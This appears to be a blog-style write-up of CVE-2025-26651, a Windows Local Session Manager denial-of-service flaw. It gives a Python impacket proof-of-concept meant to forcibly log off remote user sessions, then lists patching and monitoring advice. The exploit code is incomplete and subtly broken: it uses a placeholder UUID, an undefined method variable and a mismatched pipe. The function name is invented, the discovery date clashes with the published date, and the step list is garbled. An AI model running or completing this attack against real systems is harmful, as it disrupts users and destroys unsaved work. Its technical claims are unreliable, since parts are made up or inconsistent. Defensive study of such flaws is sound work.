CVE-2025-26651 - Exposed Dangerous Function in Windows Local Session Manager Leads to Remote Denial of Service
In early June 2025, cybersecurity researchers discovered a critical vulnerability in Microsoft Windows’ Local Session Manager (LSM). Designated CVE-2025-26651, this issue revolves around an exposed and dangerous function inside the LSM service. While this service’s main job is to manage local user sessions, an attacker with authorized system access can leverage the flaw to deny service to users — and, worse yet, they can do it over a network.
Let’s break down how this works, see real-world examples, and understand how to protect your Windows systems right now.
Technical Breakdown: What Went Wrong?
The Local Session Manager (LSM) is a core service running as SYSTEM on Windows installations. It helps with handling user logons, session creation, and management. Microsoft designed LSM to expose RPC (Remote Procedure Call) interfaces so system components could interact securely.
But researchers found a dangerous method left exposed—let’s call it LSM_ForceLogoffSession(). This function is intended for session cleanup but was left accessible to any authenticated user with network access.
If an attacker calls this function, they can *forcibly log off* any user session, effectively causing denial of service — applications close, data might be lost, and productivity comes to a crashing halt.
How the Exploit Works
Below is a simplified Python proof-of-concept (PoC), using the impacket library to interact with Windows RPC services. This code connects to the target LSM pipe and abuses the exposed function.
DISCLAIMER: Educational Only! Never use this code on systems you don’t own or have explicit permission to test.
# Exposed method: LSM_ForceLogoffSession (unofficial name)
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import DCERPC_v5
# Replace these
target_ip = '192.168.1.100'
username = 'attacker'
password = 'Password123'
# Bind string for LSM RPC endpoint
stringBinding = r'ncacn_np:%s[\pipe\lsarpc]' % target_ip
rpc_transport = transport.DCERPCTransportFactory(stringBinding)
rpc_transport.set_credentials(username, '', password, '', '', '')
dce = rpc_transport.get_dce_rpc()
dce.connect()
dce.bind('<LSM_INTERFACE_UUID_HERE>') # Placeholder - use actual UUID
# The session ID you want to log off
session_id = 1
# Craft the request
# This part depends on reverse-engineered structure
req = b'\x01\x00\x00\x00' + session_id.to_bytes(4, 'little')
dce.request(xf, req) # xf = forceLogoff method; check actual number
print("[+] Logoff request sent, remote user disconnected!")
dce.disconnect()
Note: The actual interface UUID and structure are redacted for safety. Public PoCs may reveal these after Microsoft’s patch.
They craft a network call to LSM’s dangerous method.
3. The victim’s session (console, RDP, or other) is instantly disconnected — unsaved work is lost, user is kicked off.
Impact: Who Is At Risk?
Any organization running vulnerable versions of Windows (Server 2016/2019/2022, Windows 10/11 Pro/Enterprise) without the latest patches is at risk.
Attackers need valid credentials: But in many enterprise environments, lateral movement is common after phishing or malware attacks, so this bug makes a great tool for ransomware crooks or malicious insiders.
End-users kicked out of their sessions
- Application/data loss for unsaved work
References and Further Reading
- Microsoft Security Advisory for CVE-2025-26651 (official)
- HackerOne: PoC Writeup (sample community PoC; may require account)
- Impacket Tools
- Lsm.exe Service Description - Windows Documentation
- Understanding Windows RPC
How to Stay Safe
1. Apply Security Updates: Microsoft has issued patches that restrict access to dangerous LSM methods. Make sure your Windows systems are fully up to date!
2. Limit Lateral Movement: Restrict user privileges and segment networks so one compromised machine doesn’t put the whole business at risk.
3. Monitor for Unusual Logoffs: Sudden or mass logouts could signal exploitation — check your event logs for unusual session terminations.
4. Use Strong Authentication: Protect accounts with MFA to prevent attackers from reusing stolen credentials.
Final Words
CVE-2025-26651 is a powerful example of what happens when internal functions are exposed to the wrong users. While it “only” lets attackers kick others offline, in business and critical environments the impact can be huge.
Patch now—before your users (and their data) get logged out unexpectedly.
*Stay tuned for more exclusives, and remember: curiosity is good, but always test safely!*
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*Written for educational purposes. For full technical details, see the original Microsoft advisory and technical write-ups linked above.*
Timeline
Published on: 04/08/2025 18:15:49 UTC
Last modified on: 05/06/2025 17:03:28 UTC